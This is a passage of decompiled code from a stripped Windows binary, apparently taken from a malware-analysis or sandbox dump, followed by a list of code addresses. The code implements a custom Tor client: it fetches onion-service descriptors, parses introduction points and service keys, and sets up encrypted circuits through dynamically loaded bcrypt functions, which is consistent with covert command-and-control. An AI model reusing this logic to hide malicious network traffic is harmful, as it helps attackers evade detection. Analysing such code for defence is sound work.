																	_t724 =  *((intOrPtr*)(_t1028 - 0x1fd)) + (_v1600 & 0x000000ff) * 0x15180 / 0x100;
																	_t1017 = _t724 % 0x15180;
																	asm("bswap eax");
																	_v1570 = _t724 / 0x15180;
																	E004066D2(_v1924, 0x186a0);
																	_t1050 = _v1924;
																	 *((char*)(_t1050 + 4)) = 8;
																	_t729 = E0040664B(_t1028 - 0x1fd, _t1050 + 5, 4);
																	 *((short*)(_t1050 + 9)) = 0x404;
																	_push(_v1780);
																	L00407166();
																	 *((intOrPtr*)(_t1050 + 0xb)) = _t729;
																	 *((intOrPtr*)(_t1050 + 0xf)) = 0x40401;
																	_t660 = E00404484(__eflags, _v1896, _t1050, 0x202, 0, _a12);
																	goto L130;
																}
																goto L131;
															}
															_t735 = E00403422(__eflags, _v12, _v8, _v16, _v20, _a12, _v1896, _v1776, _v1816, _v1772, _v1792, _v1760, _v1752, 1,  &_v516,  &_v512,  &_v508,  &_v504,  &_v572);
															__eflags = _t735;
															if(_t735 <= 0) {
																goto L131;
															}
															_t736 = E004066D2(_v1924, 0x186a0);
															_t1030 = _v1924;
															 *_t1030 = 0x80;
															 *((char*)(_t1030 + 3)) = 1;
															 *((char*)(_t1030 + 4)) = 3;
															 *((char*)(_t1030 + 5)) = 0x21;
															 *((char*)(_t1030 + 0xf)) = 0x14;
															_t1007 = 0;
															while(1) {
																__eflags = _t1007 - 0x14;
																if(_t1007 >= 0x14) {
																	break;
																}
																 *[ss:ecx+ebp-0x650] = _t736;
																_t1007 = _t1007 + 1;
																__eflags = _t1007;
															}
															E0040664B( &_v1620, _t1030 + 0x10, 0x14);
															E00403892(_t1017, _v12, _v516, _v508, 0, _t1030 + 5, 0, _v564);
															E00404484(__eflags, _v1896, _v1924, 0x202, 0, _a12);
															_t743 = E004047B4(_v1896, _v1920, 0x202, _a12, 0x14);
															_t1031 = _v1920;
															__eflags = _t743;
															if(_t743 != 0) {
																goto L131;
															}
															__eflags =  *((char*)(_t1031 + 4)) - 3;
															if(__eflags != 0) {
																goto L131;
															}
															_t660 = E00403913(_t1017, __eflags, _v12, _v512, _v504, 0, _t1031 + 5, 1, _v560);
															__eflags = _t660;
															if(_t660 == 0) {
																goto L131;
															}
															__eflags =  *((intOrPtr*)(_t1031 + 5)) - 0x27;
															if( *((intOrPtr*)(_t1031 + 5)) != 0x27) {
																goto L131;
															}
															goto L130;
														}
														_v56 = 0;
														_v24 = 2;
														_v28 = 1;
														while(1) {
															__eflags = _v56 - 2;
															if(_v56 >= 2) {
																break;
															}
															_v1566 = _v56;
															E0040332E(_v12,  &_v1570, 5,  &_v1590, 0, 0xffffffff);
															E0040332E(_v12,  &_v1600, 0x1e,  &_v1565, 0, 0xffffffff);
															E004067E1( &_v1565, 0x14,  &_v1545);
															E0040664B( &_v1704,  &_v40, 4);
															E0040664B( &_v1704,  &_v48, 4);
															_t989 = 0;
															while(1) {
																__eflags = _v48;
																if(_v48 <= 0) {
																	break;
																}
																E0040664B( &_v48,  &_v40, 4);
																_v40 = _v40 >> 1;
																_t770 = E00403EA6(__eflags, E00403F5D(_v576, _t989 + _v40, 8),  &_v1748,  &_v1768,  &_v1788,  &_v1808);
																_v36 = 0;
																__eflags = _t770;
																if(_t770 != 0) {
																	L76:
																	__eflags = _v36 - 1;
																	if(_v36 != 1) {
																		E0040664B( &_v40,  &_v48, 4);
																	} else {
																		_t989 = _t989 + _v40 + 1;
																		_v48 = _v48 - _v40 + 1;
																	}
																	continue;
																}
																CryptStringToBinaryA(_v1748, 0, 1, 0,  &_v32, 0, 0);
																CryptStringToBinaryA(_v1748, 0, 1,  &_v1445,  &_v32, 0, 0);
																_t1014 = 0;
																while(1) {
																	__eflags = _t1014 - 0x14;
																	if(_t1014 >= 0x14) {
																		goto L76;
																	}
																	_t833 =  *[ss:ecx+ebp-0x5a1];
																	__eflags = _t833 -  *[ss:ecx+ebp-0x619];
																	if(_t833 >  *[ss:ecx+ebp-0x619]) {
																		goto L76;
																	}
																	__eflags = _t833 -  *[ss:ecx+ebp-0x619];
																	if(_t833 !=  *[ss:ecx+ebp-0x619]) {
																		_v36 = 1;
																	}
																	_t1014 = _t1014 + 1;
																}
																goto L76;
															}
															_v32 = 0;
															while(1) {
																__eflags = _v32 - 3;
																if(_v32 >= 3) {
																	break;
																}
																_t775 = E00403F5D(_v576, _t989, 8);
																_t989 = _t989 + 1;
																_t1017 = _t775;
																__eflags = E00403EA6(__eflags, _t775,  &_v1748,  &_v1768,  &_v1788,  &_v1808);
																if(__eflags != 0) {
																	continue;
																}
																__eflags = E00403422(__eflags, _v12, _v8, _v16, _v20, _a12, _v1896, _v1776, _v1816, _v1768, _v1788, _v1760, _v1748, _v24,  &_v500,  &_v496,  &_v492,  &_v488,  &_v556);
																if(__eflags <= 0) {
																	L102:
																	E00403779(_v1896, _v1920, _a12, _v24);
																	_v24 = _v24 + 1;
																	_v28 = _v28 + 1;
																	_v32 = _v32 + 1;
																	_t660 = E004069DA(__eflags, _v1924, 0x186a0, "-----END MESSAGE-----");
																	__eflags = _t660;
																	if(_t660 != 0) {
																		_v52 = _t660;
																		goto L130;
																	}
																	continue;
																}
																E004066D2(_v1924, 0x186a0);
																_t1032 = _v1924;
																 *_t1032 = 0x80;
																 *((char*)(_t1032 + 3)) = _v24;
																 *((char*)(_t1032 + 4)) = 3;
																 *((char*)(_t1032 + 5)) = 0xd;
																 *((char*)(_t1032 + 9)) = _v28;
																E00403892(_t1017, _v12, _v500, _v492, 0, _t1032 + 5, 0, _v548);
																E00404484(__eflags, _v1896, _v1924, 0x202, 0, _a12);
																_t795 = E004047B4(_v1896, _v1920, 0x202, _a12, 0x14);
																_t1033 = _v1920;
																__eflags = _t795;
																if(_t795 != 0) {
																	goto L131;
																}
																__eflags =  *((char*)(_t1033 + 4)) - 3;
																if(__eflags != 0) {
																	goto L102;
																}
																_t797 = E00403913(_t1017, __eflags, _v12, _v496, _v488, 0, _t1033 + 5, 1, _v544);
																__eflags = _t797;
																if(_t797 == 0) {
																	goto L131;
																}
																__eflags =  *((intOrPtr*)(_t1033 + 5)) - 4;
																if(__eflags != 0) {
																	goto L102;
																}
																E004066D2(_v1924, 0x186a0);
																_t1034 = _v1924;
																 *_t1034 = 0x80;
																 *((char*)(_t1034 + 3)) = _v24;
																 *((char*)(_t1034 + 4)) = 3;
																 *((char*)(_t1034 + 5)) = 2;
																 *((char*)(_t1034 + 9)) = _v28;
																_t803 = wsprintfA(_t1034 + 0x10, "GET /tor/rendezvous2/%s HTTP/1.0\r\nHost: %s\r\nConnection: close\r\n\r\n",  &_v1545, _v1768);
																_t1052 = _t1052 + 0x10;
																_t804 = _t803 + 1;
																__eflags = _t804;
																 *(_t1034 + 0xf) = _t804;
																E00403892(_t1017, _v12, _v500, _v492, 0, _t1034 + 5, 1, _v548);
																E00404484(__eflags, _v1896, _v1924, 0x202, 0, _a12);
																_v40 = 0;
																_v48 = 2;
																_v52 = 0;
																_t1047 = _v1920;
																_t1035 = _v1924;
																E004066D2(_v1924, 0x186a0);
																while(1) {
																	E00406698(_v1896, 0,  &_v1916, 0xa, 0);
																	_push( &_v1904);
																	_push(0);
																	_push(0);
																	_t812 =  &_v1916;
																	_push(_t812);
																	_push(0);
																	L0040717E();
																	__eflags = _t812;
																	if(_t812 < 0) {
																		goto L131;
																	}
																	__eflags = _t812;
																	if(__eflags == 0) {
																		goto L102;
																	}
																	_t815 = E004045B9(__eflags, _v1896,  &_v1892, _a12);
																	__eflags = _t815;
																	if(_t815 <= 0) {
																		goto L131;
																	}
																	_t1020 =  &(_v1920[_v40]);
																	_v40 = _v40 + _t815;
																	__eflags = _v40 - 0x186a0;
																	if(_v40 > 0x186a0) {
																		goto L133;
																	}
																	E0040664B(_v1892, _t1020, _t815);
																	E004048E1( &_v1892);
																	_t819 = _v40;
																	_t820 = _t819 / 0x202;
																	_t1017 = _t819 % 0x202;
																	__eflags = _t819 % 0x202;
																	if(_t819 % 0x202 != 0) {
																		continue;
																	}
																	_v44 = _t820;
																	while(1) {
																		__eflags = _v44;
																		if(_v44 <= 0) {
																			break;
																		}
																		__eflags =  *_t1047 - 0x80;
																		if(__eflags != 0) {
																			L99:
																			_t1047 = _t1047 + 0x202;
																			_t480 =  &_v44;
																			 *_t480 = _v44 - 1;
																			__eflags =  *_t480;
																			continue;
																		}
																		_t825 = E00403913(_t1017, __eflags, _v12, _v496, _v488, 0, _t1047 + 5, _v48, _v544);
																		__eflags = _t825;
																		if(_t825 == 0) {
																			goto L131;
																		}
																		__eflags =  *((short*)(_t1047 + 4)) - 0x503;
																		if( *((short*)(_t1047 + 4)) == 0x503) {
																			goto L99;
																		}
																		__eflags =  *((short*)(_t1047 + 4)) - 0x203;
																		if(__eflags != 0) {
																			goto L102;
																		}
																		_t1011 =  *((intOrPtr*)(_t1047 + 0xe));
																		E0040664B(_t1047 + 0x10, _t1035, _t1011);
																		_t1035 = _t1035 + _t1011;
																		_t478 =  &_v48;
																		 *_t478 = _v48 + 1;
																		__eflags =  *_t478;
																		goto L99;
																	}
																}
																goto L131;
															}
															_t495 =  &_v56;
															 *_t495 = _v56 + 1;
															__eflags =  *_t495;
														}
														goto L133;
													}
													_t835 = E004069DA(__eflags, _v1924, 0x186a0, "-----BEGIN MESSAGE-----") + 0x17;
													_v52 = _v52 - _t835;
													_t1036 = _v1920;
													while(1) {
														__eflags = _v52;
														if(_v52 <= 0) {
															break;
														}
														asm("lodsb");
														__eflags = _t835 - 0x20;
														if(_t835 > 0x20) {
															asm("stosb");
														}
														_t81 =  &_v52;
														 *_t81 = _v52 - 1;
														__eflags =  *_t81;
													}
													 *_t1036 = 0;
													CryptStringToBinaryA(_v1920, 0, 1, 0,  &_v32, 0, 0);
													_t839 = E004048B6(_v32,  &_v1928);
													__eflags = _t839;
													if(_t839 == 0) {
														goto L133;
													}
													CryptStringToBinaryA(_v1920, 0, 1, _v1928,  &_v32, 0, 0);
													_t1037 = _v1928;
													_t990 = 0;
													while(1) {
														__eflags = _t990 - 3;
														if(_t990 >= 3) {
															break;
														}
														__eflags = _v32;
														if(__eflags > 0) {
															_t978 = E004069A0(__eflags, _t1037, _v32, "introduction-point");
															__eflags = _t978;
															if(__eflags == 0) {
																break;
															}
															 *(_t1051 + _t990 * 4 - 0x72c) = _t978;
															_t979 = E004069A0(__eflags, _t1037, _v32, "ip-address");
															__eflags = _t979;
															if(__eflags == 0) {
																goto L133;
															}
															 *(_t1051 + _t990 * 4 - 0x738) = _t979;
															_t980 = E004069A0(__eflags, _t1037, _v32, "onion-port");
															__eflags = _t980;
															if(__eflags == 0) {
																goto L133;
															}
															 *(_t1051 + _t990 * 4 - 0x744) = _t980;
															_t981 = E004069DA(__eflags, _t1037, _v32, "service-key");
															__eflags = _t981;
															if(__eflags == 0) {
																goto L133;
															}
															_t983 = _t981 + 1 - _t1037;
															_t1037 =  &(_t1037[_t983]);
															_v32 = _v32 - _t983;
															_t984 = E004069DA(__eflags, _t1037, _v32, "KEY-----");
															__eflags = _t984;
															if(__eflags == 0) {
																goto L133;
															}
															 *((intOrPtr*)(_t1051 + _t990 * 4 - 0x750)) = _t984 + 8;
															_t986 = E004069DA(__eflags, _t1037, _v32, "-----END");
															__eflags = _t986;
															if(_t986 == 0) {
																goto L133;
															}
															 *_t986 = 0;
															_t990 = _t990 + 1;
															__eflags = _t990;
															continue;
														}
														break;
													}
													while(1) {
														__eflags = _t990;
														if(__eflags <= 0) {
															break;
														}
														_t990 = _t990 - 1;
														_t847 = E00403422(__eflags, _v12, _v8, _v16, _v20, _a12, _v1896, _v1776, _v1816,  *(_t1051 + _t990 * 4 - 0x738),  *(_t1051 + _t990 * 4 - 0x744), _v1760,  *(_t1051 + _t990 * 4 - 0x72c), _v24,  &_v484,  &_v480,  &_v476,  &_v472,  &_v540);
														__eflags = _t847;
														if(_t847 <= 0) {
															L57:
															E00403779(_v1896, _v1920, _a12, _v24);
															_t271 =  &_v24;
															 *_t271 = _v24 + 1;
															__eflags =  *_t271;
															continue;
														}
														_t883 = E00406A32(E004066D2( &_v1600, 0x400), 0x100);
														asm("stosb");
														asm("loop 0xfffffff5");
														_v1070 = 2;
														_push(_v1764);
														L00407166();
														_v1069 = _t883;
														_t884 = E00406663(_v1784);
														_v1065 = _t884;
														_v1064 = _t884;
														CryptStringToBinaryA(_v1752, 0, 1, 0,  &_v40, 0, 0);
														CryptStringToBinaryA(_v1752, 0, 1,  &_v1063,  &_v40, 0, 0);
														_t892 = E00404065(_t1017, __eflags, _v1776, _v1816,  &_v1063,  &_v1041);
														__eflags = _t892;
														if(_t892 == 0) {
															goto L131;
														}
														_v1043 = _t892;
														_v1042 = _t892;
														E0040664B( &_v1620,  &_v901, 0x14);
														_v456 = 7;
														_v455 = 2;
														_v454 = 0;
														_v452 = 0xaa02;
														_v448 = 0x32484400;
														_v444 = 0x400;
														E00406A32(E0040664B(0x409450,  &_v440, 0x80), 0x100);
														asm("stosb");
														asm("loop 0xfffffff5");
														E004066D2( &_v312, 0x80);
														_v312 = 2;
														E00403E30(_v8,  &_v456,  &_v881);
														_t1043 =  &_v1460;
														_t904 = 1;
														while(1) {
															_t904 = _t904;
															__eflags = _t904;
															if(_t904 == 0) {
																break;
															}
															asm("lodsb");
															__eflags = _t904 - 0x20;
															if(_t904 > 0x20) {
																asm("stosb");
															}
														}
														 *_t1043 = 0;
														CryptStringToBinaryA( &_v1460, 0, 1, 0,  &_v36, 0, 0);
														CryptStringToBinaryA( &_v1460, 0, 1,  &_v1600,  &_v36, 0, 0);
														_v40 = 0x94;
														E004066D2( &_v1460, 0x94);
														_push( &_v40);
														_push( &_v1460);
														_push(0);
														_push(0x8c);
														_push( &_v1600);
														_push(0x13);
														_push(1);
														L00407208();
														_v1312 = 0x31415352;
														_v1308 = 0x400;
														_v1304 = 4;
														_v1300 = 0x80;
														_v1296 = 0;
														_v1292 = 0;
														asm("bswap eax");
														_v1288 = _v1444;
														E00406605( &_v1313,  &_v1284, 0x80);
														_push(0);
														_push(0x9c);
														_push( &_v1312);
														_push( &_v460);
														_push(L"RSAPUBLICBLOB");
														_push(0);
														_push(_v16);
														 *((intOrPtr*)(E00406EE2(__eflags, E00406DF2("bcrypt.dll"), "BCryptImportKeyPair")))();
														E004066D2(_v1924, 0x186a0);
														_t1044 = _v1924;
														 *_t1044 = 0x80;
														 *((char*)(_t1044 + 3)) = _v24;
														 *((char*)(_t1044 + 4)) = 3;
														 *((char*)(_t1044 + 5)) = 0x22;
														 *((char*)(_t1044 + 0xe)) = 0x18b;
														 *((char*)(_t1044 + 0xf)) = 0x18b;
														E0040332E(_v12,  &_v1600, 0x8c, _t1044 + 0x10, 0, 0xffffffff);
														_v1888 = L"SHA1";
														_v1884 = 0;
														_v1880 = 0;
														_push(4);
														_push( &_v48);
														_push(0x80);
														_push(_t1044 + 0x24);
														_push(0);
														_push(0);
														_push( &_v1888);
														_push(0x56);
														_push( &_v1086);
														_push(_v460);
														 *((intOrPtr*)(E00406EE2(__eflags, E00406DF2("bcrypt.dll"), "BCryptEncrypt")))();
														E004064D6( &_v460,  &_v460, 0, 1);
														_v1312 = 0x4d42444b;
														_v1308 = 1;
														_v1304 = 0x10;
														E0040664B( &_v1086,  &_v1300, 0x10);
														_push(0);
														_push(0x1c);
														_push( &_v1312);
														_push(0);
														_push(0);
														_push( &_v460);
														_push(L"KeyDataBlob");
														_push(0);
														_push(_v20);
														 *((intOrPtr*)(E00406EE2(__eflags, E00406DF2("bcrypt.dll"), "BCryptImportKey")))();
														E0040664B( &_v1000, _t1044 + 0xa4, 0xf7);
														E004037B8(__eflags, _v460, _t1044 + 0xa4, 0xf7, 0);
														E004064D6( &_v460,  &_v460, 0, 1);
														E00403892(_t1017, _v12, _v484, _v476, 0, _t1044 + 5, 0, _v532);
														E00404484(__eflags, _v1896, _v1924, 0x202, 0, _a12);
														_t962 = E004047B4(_v1896, _v1920, 0x404, _a12, 0x64);
														_t1045 = _v1920;
														__eflags = _t962;
														if(_t962 != 0) {
															goto L131;
														}
														__eflags =  *((char*)(_t1045 + 4)) - 3;
														if(__eflags != 0) {
															goto L133;
														}
														_t964 = E00403913(_t1017, __eflags, _v12, _v480, _v472, 0, _t1045 + 5, 1, _v528);
														__eflags = _t964;
														if(_t964 == 0) {
															goto L131;
														}
														__eflags =  *((intOrPtr*)(_t1045 + 5)) - 0x28;
														if(__eflags != 0) {
															goto L133;
														}
														_t966 = E00403913(_t1017, __eflags, _v12, _v512, _v504, 0, _t1045 + 0x207, 2, _v560);
														__eflags = _t966;
														if(_t966 == 0) {
															goto L131;
														}
														E00406605(_t1045 + 0x291,  &_v312, 0x80);
														_t976 = E004039AA(__eflags, _v8, _v12, _v20,  &_v456, _t1045 + 0x292,  &_v468,  &_v464,  &_v524,  &_v520);
														__eflags = _t976;
														if(_t976 == 0) {
															goto L131;
														}
														_t990 = 0xffffffff;
														goto L57;
													}
													__eflags = _t990;
													if(_t990 >= 0) {
														goto L133;
													}
													E004066D2(_v1924, 0x186a0);
													_t1038 = _v1924;
													 *_t1038 = 0x80;
													 *((char*)(_t1038 + 3)) = 1;
													 *((char*)(_t1038 + 4)) = 3;
													 *((char*)(_t1038 + 5)) = 1;
													 *((char*)(_t1038 + 9)) = _v28;
													 *((char*)(_t1038 + 0xf)) = 0x12;
													E004066E9(_a4, 0xa,  &_v1740);
													E004067E1( &_v1740, 0xa, _t1038 + 0x10);
													 *((char*)(_t1038 + 0x20)) = 0x3a;
													E004066E9(_a8, 0xffffffff,  &_v1828);
													 *((intOrPtr*)(_t1038 + 0xf)) =  *((intOrPtr*)(_t1038 + 0xf)) + E0040690B(__eflags,  &_v1828);
													E0040664B( &_v1828, _t1038 + 0x21, _t859);
													E00403892(_t1017, _v12, _v516, _v508, _v468, _t1038 + 5, 1, _v524);
													E00404484(__eflags, _v1896, _v1924, 0x202, 0, _a12);
													_t866 = E004047B4(_v1896, _v1920, 0x202, _a12, 0x64);
													_t1039 = _v1920;
													__eflags = _t866;
													if(_t866 != 0) {
														goto L131;
													}
													__eflags = _t1039[4] - 3;
													if(__eflags != 0) {
														goto L131;
													}
													_t868 = E00403913(_t1017, __eflags, _v12, _v512, _v504, _v464,  &(_t1039[5]), 3, _v520);
													__eflags = _t868;
													if(_t868 == 0) {
														goto L131;
													}
													__eflags = _t1039[5] - 4;
													if(_t1039[5] == 4) {
														E0040664B( &_v12, _a24, 4);
														E0040664B( &_v516, _a28, 0x10);
														E0040664B( &_v468, _a28 + 0x10, 8);
														E0040664B( &_v524, _a32, 8);
														E0040664B( &_v28, _a36, 4);
														_v1932 = 1;
													}
													goto L133;
												}
												__eflags = _v1816;
												if(_v1816 == 0) {
													continue;
												}
												goto L26;
											}
											__eflags = _t660 - 0x1f;
											if(__eflags != 0) {
												continue;
											}
											goto L23;
										}
										__eflags = _t660 - 0x17;
										if(_t660 != 0x17) {
											continue;
										}
										goto L21;
									}
									__eflags = _t660 - 7;
									if(_t660 != 7) {
										continue;
									}
									goto L19;
								}
								__eflags = _t660 - 7;
								if(_t660 != 7) {
									continue;
								}
								goto L17;
							}
							break;
						} else {
							continue;
						}
					}
				}
				L133:
				_v40 = 0xc;
				__eflags = _v1932 - 1;
				if(_v1932 != 1) {
					_v40 = 0xe;
				}
				E00406517( &_v572,  &_v572, 0, _v40);
				_v40 = 8;
				_v48 = 4;
				__eflags = _v1932 - 1;
				if(_v1932 != 1) {
					_v40 = 0xe;
					_v48 = 0;
				}
				E004064D6( &_v516,  &_v516, _v48, _v40);
				CryptReleaseContext(_v8, 0);
				__eflags = _v1932 - 1;
				if(_v1932 != 1) {
					_push(0);
					_push(_v12);
					 *((intOrPtr*)(E00406EE2(__eflags, E00406DF2("bcrypt.dll"), "BCryptCloseAlgorithmProvider")))();
				}
				_push(0);
				_push(_v16);
				 *((intOrPtr*)(E00406EE2(__eflags, E00406DF2("bcrypt.dll"), "BCryptCloseAlgorithmProvider")))();
				_push(0);
				_push(_v20);
				 *((intOrPtr*)(E00406EE2(__eflags, E00406DF2("bcrypt.dll"), "BCryptCloseAlgorithmProvider")))();
				E0040664B( &_v1896, _a20, 4);
				E004048E1( &_v576);
				E004048E1( &_v1928);
				E004048E1( &_v1920);
				E004048E1( &_v1924);
				return _v1932;
			}

0x00401168
0x0040117f
0x00401196
0x0040119b
0x0040119d
0x004011a5
0x004011a9
0x004011bf
0x004011c1
0x004011c3
0x004011cb
0x004011cf
0x004011e5
0x004011e7
0x004011e9
0x004011f1
0x004011f5
0x0040120b
0x0040120d
0x0040120f
0x00401217
0x0040121e
0x0040121f
0x00401237
0x00401239
0x00401243
0x0040124d
0x00401257
0x00401261
0x0040126b
0x00401275
0x0040127f
0x00401289
0x00401293
0x0040129d
0x004012a7
0x004012b1
0x004012bb
0x004012c5
0x004012cf
0x004012d9
0x004012e3
0x004012ed
0x004012f7
0x00401301
0x0040130b
0x00401315
0x0040131f
0x0040131f
0x0040131f
0x0040131f
0x00401325
0x00000000
0x00000000
0x0040132d
0x00401356
0x00401356
0x00401358
0x00000000
0x00000000
0x0040135a
0x0040136b
0x00401370
0x00401372
0x00000000
0x00401374
0x0040137f
0x0040138a
0x0040138f
0x00401399
0x004013a3
0x004013a9
0x004013ad
0x004013c0
0x004013c7
0x004013cc
0x004013cf
0x004013d1
0x004013d1
0x004013cf
0x004013d7
0x004013d8
0x004013d8
0x004013d8
0x004013e7
0x004013ee
0x00402644
0x00402644
0x0040264b
0x00000000
0x00000000
0x00401416
0x00401419
0x0040141e
0x00401425
0x00401430
0x00401430
0x00401437
0x00401442
0x00401442
0x00401449
0x00401454
0x00401454
0x0040145b
0x00401466
0x0040148d
0x00401492
0x00401492
0x00401494
0x00000000
0x00000000
0x0040149a
0x004014a1
0x004014b0
0x004014b0
0x004014b7
0x00401d72
0x00401d79
0x004022bd
0x004022c4
0x00402438
0x0040243f
0x00402621
0x00402621
0x00000000
0x00402621
0x00402463
0x00402465
0x00402629
0x00402635
0x0040263a
0x00000000
0x0040263a
0x0040247d
0x00402482
0x00402498
0x0040249d
0x0040249f
0x00000000
0x00000000
0x004024b1
0x004024b6
0x004024b8
0x00000000
0x00000000
0x004024be
0x004024c4
0x004024cb
0x004024d2
0x004024e5
0x004024f0
0x004024f1
0x004024f3
0x004024f5
0x004024fb
0x004024fc
0x004024fe
0x00402503
0x00402505
0x00000000
0x00000000
0x0040251b
0x00402520
0x00402522
0x00000000
0x00000000
0x00402528
0x0040252b
0x00402531
0x00402533
0x00402533
0x00402533
0x0040253c
0x00402541
0x00402548
0x00000000
0x00000000
0x0040254a
0x00402554
0x00402559
0x0040255c
0x00000000
0x00000000
0x00402567
0x00402570
0x00402573
0x00000000
0x0040261c
0x00402585
0x004025a8
0x004025aa
0x004025b3
0x004025b5
0x004025b7
0x004025c8
0x004025cd
0x004025d3
0x004025e4
0x004025e9
0x004025ef
0x004025f5
0x004025fa
0x004025fd
0x00402615
0x00000000
0x00402615
0x00000000
0x004024d2
0x00402328
0x0040232d
0x0040232f
0x00000000
0x00000000
0x00402340
0x00402345
0x0040234b
0x0040234e
0x00402352
0x00402356
0x0040235a
0x0040235e
0x00402378
0x00402378
0x0040237b
0x00000000
0x00000000
0x0040236f
0x00402377
0x00402377
0x00402377
0x0040238a
0x004023ac
0x004023c7
0x004023e2
0x004023e7
0x004023ed
0x004023ef
0x00000000
0x00000000
0x004023f5
0x004023f9
0x00000000
0x00000000
0x0040241c
0x00402421
0x00402423
0x00000000
0x00000000
0x00402429
0x0040242d
0x00000000
0x00000000
0x00000000
0x00402433
0x00401d7f
0x00401d86
0x00401d8d
0x004022a6
0x004022a6
0x004022aa
0x00000000
0x00000000
0x00401d9c
0x00401db9
0x00401dd5
0x00401dea
0x00401dfc
0x00401e0e
0x00401e13
0x00401ef9
0x00401ef9
0x00401efd
0x00000000
0x00000000
0x00401e24
0x00401e29
0x00401e5f
0x00401e64
0x00401e6b
0x00401e6d
0x00401ed7
0x00401ed7
0x00401edb
0x00401ef4
0x00401edd
0x00401ee0
0x00401ee5
0x00401ee5
0x00000000
0x00401edb
0x00401e83
0x00401ea1
0x00401ea6
0x00401ed2
0x00401ed2
0x00401ed5
0x00000000
0x00000000
0x00401eaa
0x00401eb2
0x00401eba
0x00000000
0x00401ed0
0x00401ebc
0x00401ec4
0x00401ec6
0x00401ec6
0x00401ecd
0x00401ecd
0x00000000
0x00401ed2
0x00401f03
0x00402299
0x00402299
0x0040229d
0x00000000
0x00000000
0x00401f18
0x00401f1d
0x00401f1e
0x00401f42
0x00401f44
0x00000000
0x00000000
0x00401fae
0x00401fb0
0x00402260
0x00402272
0x00402277
0x0040227a
0x0040227d
0x00402290
0x00402295
0x00402297
0x004022b5
0x00000000
0x004022b5
0x00000000
0x00402297
0x00401fc1
0x00401fc6
0x00401fcc
0x00401fd2
0x00401fd5
0x00401fd9
0x00401fe0
0x00402000
0x0040201b
0x00402036
0x0040203b
0x00402041
0x00402043
0x00000000
0x00000000
0x00402049
0x0040204d
0x00000000
0x00000000
0x00402070
0x00402075
0x00402077
0x00000000
0x00000000
0x0040207d
0x00402081
0x00000000
0x00000000
0x00402092
0x00402097
0x0040209d
0x004020a3
0x004020a6
0x004020aa
0x004020b1
0x004020ca
0x004020cf
0x004020d2
0x004020d2
0x004020d4
0x004020f4
0x0040210f
0x00402114
0x0040211b
0x00402122
0x00402129
0x0040212f
0x00402140
0x00402145
0x00402158
0x00402163
0x00402164
0x00402166
0x00402168
0x0040216e
0x0040216f
0x00402171
0x00402176
0x00402178
0x00000000
0x00000000
0x0040217e
0x00402180
0x00000000
0x00000000
0x00402196
0x0040219b
0x0040219d
0x00000000
0x00000000
0x004021a9
0x004021ac
0x004021af
0x004021b6
0x00000000
0x00000000
0x004021c4
0x004021d0
0x004021d5
0x004021df
0x004021e1
0x004021e1
0x004021e3
0x00000000
0x00000000
0x004021e9
0x00402255
0x00402255
0x00402259
0x00000000
0x00000000
0x004021f6
0x004021f8
0x0040224c
0x0040224c
0x00402252
0x00402252
0x00402252
0x00000000
0x00402252
0x00402218
0x0040221d
0x0040221f
0x00000000
0x00000000
0x00402225
0x0040222b
0x00000000
0x00000000
0x0040222d
0x00402233
0x00000000
0x00000000
0x00402239
0x00402242
0x00402247
0x00402249
0x00402249
0x00402249
0x00000000
0x00402249
0x0040225b
0x00000000
0x00402145
0x004022a3
0x004022a3
0x004022a3
0x004022a3
0x00000000
0x004022b0
0x004014d2
0x004014d5
0x004014d8
0x004014eb
0x004014eb
0x004014ef
0x00000000
0x00000000
0x004014e2
0x004014e3
0x004014e5
0x004014e7
0x004014e7
0x004014e8
0x004014e8
0x004014e8
0x004014e8
0x004014f1
0x00401508
0x00401517
0x0040151c
0x0040151e
0x00000000
0x00000000
0x0040153c
0x00401541
0x00401547
0x004015fd
0x004015fd
0x00401600
0x00000000
0x00000000
0x00401602
0x00401606
0x0040155c
0x0040155c
0x0040155e
0x00000000
0x00000000
0x00401564
0x00401574
0x00401579
0x0040157b
0x00000000
0x00000000
0x00401581
0x00401591
0x00401596
0x00401598
0x00000000
0x00000000
0x0040159e
0x004015ae
0x004015b3
0x004015b5
0x00000000
0x00000000
0x004015bc
0x004015be
0x004015c0
0x004015cc
0x004015d1
0x004015d3
0x00000000
0x00000000
0x004015dc
0x004015ec
0x004015f1
0x004015f3
0x00000000
0x00000000
0x004015f9
0x004015fc
0x004015fc
0x00000000
0x004015fc
0x00000000
0x00401606
0x00401bc7
0x00401bc7
0x00401bca
0x00000000
0x00000000
0x00401611
0x00401674
0x00401679
0x0040167b
0x00401bad
0x00401bbf
0x00401bc4
0x00401bc4
0x00401bc4
0x00000000
0x00401bc4
0x004016a2
0x004016a7
0x004016a8
0x004016aa
0x004016b1
0x004016b7
0x004016bc
0x004016c8
0x004016cd
0x004016d3
0x004016ed
0x0040170b
0x0040172a
0x0040172f
0x00401731
0x00000000
0x00000000
0x00401737
0x0040173d
0x00401753
0x00401758
0x0040175f
0x00401766
0x0040176f
0x00401779
0x00401783
0x004017b3
0x004017b8
0x004017b9
0x004017c7
0x004017cc
0x004017e4
0x004017f0
0x004017f6
0x00401800
0x00401800
0x00401800
0x00401802
0x00000000
0x00000000
0x004017fa
0x004017fb
0x004017fd
0x004017ff
0x004017ff
0x004017fd
0x00401804
0x0040181c
0x0040183b
0x00401840
0x00401853
0x0040185b
0x00401862
0x00401863
0x00401865
0x00401870
0x00401871
0x00401873
0x00401875
0x0040187a
0x00401884
0x0040188e
0x00401898
0x004018a2
0x004018ac
0x004018bc
0x004018be
0x004018d7
0x004018dc
0x004018de
0x004018e9
0x004018f0
0x004018f7
0x004018f8
0x004018fa
0x00401912
0x0040191f
0x00401924
0x0040192a
0x00401930
0x00401933
0x00401937
0x00401940
0x00401943
0x0040195d
0x00401968
0x0040196e
0x00401978
0x00401982
0x00401987
0x00401988
0x00401990
0x00401991
0x00401993
0x0040199b
0x0040199c
0x004019a4
0x004019a5
0x004019c0
0x004019cd
0x004019d2
0x004019dc
0x004019e6
0x00401a00
0x00401a05
0x00401a07
0x00401a0f
0x00401a10
0x00401a12
0x00401a1a
0x00401a21
0x00401a22
0x00401a24
0x00401a3c
0x00401a51
0x00401a6a
0x00401a7a
0x00401a9c
0x00401ab7
0x00401ad2
0x00401ad7
0x00401add
0x00401adf
0x00000000
0x00000000
0x00401ae5
0x00401ae9
0x00000000
0x00000000
0x00401b0c
0x00401b11
0x00401b13
0x00000000
0x00000000
0x00401b19
0x00401b1d
0x00000000
0x00000000
0x00401b43
0x00401b48
0x00401b4a
0x00000000
0x00000000
0x00401b63
0x00401b9b
0x00401ba0
0x00401ba2
0x00000000
0x00000000
0x00401ba8
0x00000000
0x00401ba8
0x00401bd0
0x00401bd2
